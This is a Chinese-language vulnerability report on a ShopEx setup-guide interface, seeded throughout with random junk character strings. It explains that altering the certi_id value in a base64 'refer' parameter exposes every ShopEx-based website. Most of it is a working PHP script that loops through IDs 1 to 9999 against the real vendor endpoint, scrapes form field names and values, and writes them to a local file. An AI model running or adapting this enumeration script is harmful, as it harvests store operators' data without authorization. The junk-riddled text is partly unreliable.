ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
9 {- n/ Y/ G2 Z& E1 wShopEx某接口缺陷,可遍历所有网站
# R: X4 C) F/ L# v! n2 S7 w( q7 `详细说明：
问题出现在shopex 网店使用向导页面

+ ^' ]# m  J6 x& q

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



3 Y$ k& z( O5 Z8 A6 Xrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
2 ^, L/ ~2 `) d0 I- ?8 h0 ^( S+ y. ]


! ?  [2 w' c% f3 ^: w( F  h$ o我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

8 {2 _6 W9 s+ p7 Z, ~, u4 w

- \9 ~7 w9 Q) ]- [6 ^<?php

" \- M1 |2 o; \* c9 M                for ($i=1; $i < 10000; $i++) { //遍历

  |* \/ l% _2 N3 d                        ShowshopExD($i);
% H& V0 u' m) [; p0 r* v% _7 s( w
# Y9 R. f* x; v, _7 G                }

                function ShowshopExD($cid) {
. |+ i9 T4 G& |% o9 k  H% C
" A+ l7 t9 G0 j3 f8 g                $url='http://guide.ecos.shopex.cn/step2.php';
) p- P8 _* U3 a0 }
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
: m& B# j( [0 a
/ f$ A' p: N) p& [8 }, A% s        $url = $url.'?refer='.$refer;
) \! X" A3 a4 V! {, M
        $ch = curl_init($url);
  V; A# ~, f# F4 X2 i
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

, G* _: p& L0 R- ]' `. |! M+ l        $result = curl_exec($ch);
: `0 S! T+ V8 C7 M  L5 }' P( u- r
6 O9 L7 F5 m  X        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
5 S$ Q, a/ d: @0 s" E
        if(strpos($result,$refer))

        {
/ y( N8 B* I# e  }  [3 u; X
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

' O2 ^9 b8 e* x7 K# W7 d* [0 m. p8 }                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
  ?3 J3 l+ H1 J
                        echo $res[1][0].':'.$res[3][0]."\r\n";

! s9 r5 R, [& \4 {! b                        $col =$res[1][0].':'.$res[3][0]."\r\n";
) F# m9 M6 `: [5 |& g: P% l: D* y
                        fwrite($fp, $col, strlen($col));
  w* x! Z1 B- ~" y* o) n  T  u+ L
                }

( ~# S5 @# {8 Z! D                echo '--------------------------------'."\r\n";

                fclose($fp);
+ m0 a. G1 ?6 ?
        }
7 f# L8 }, ]8 V+ [8 N3 v9 f5 ]
, u% Q- [2 b" |  X  Y* }8 O! B        flush();

1 B& z: d7 Q$ S" y) B7 ]6 r        curl_close($ch);
9 m% J+ d2 b* M2 n! F
                }

! r+ M$ ^! c9 B% |6 [?>
漏洞证明：
% b3 v, @2 I% i- v, n$ z1 Nhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式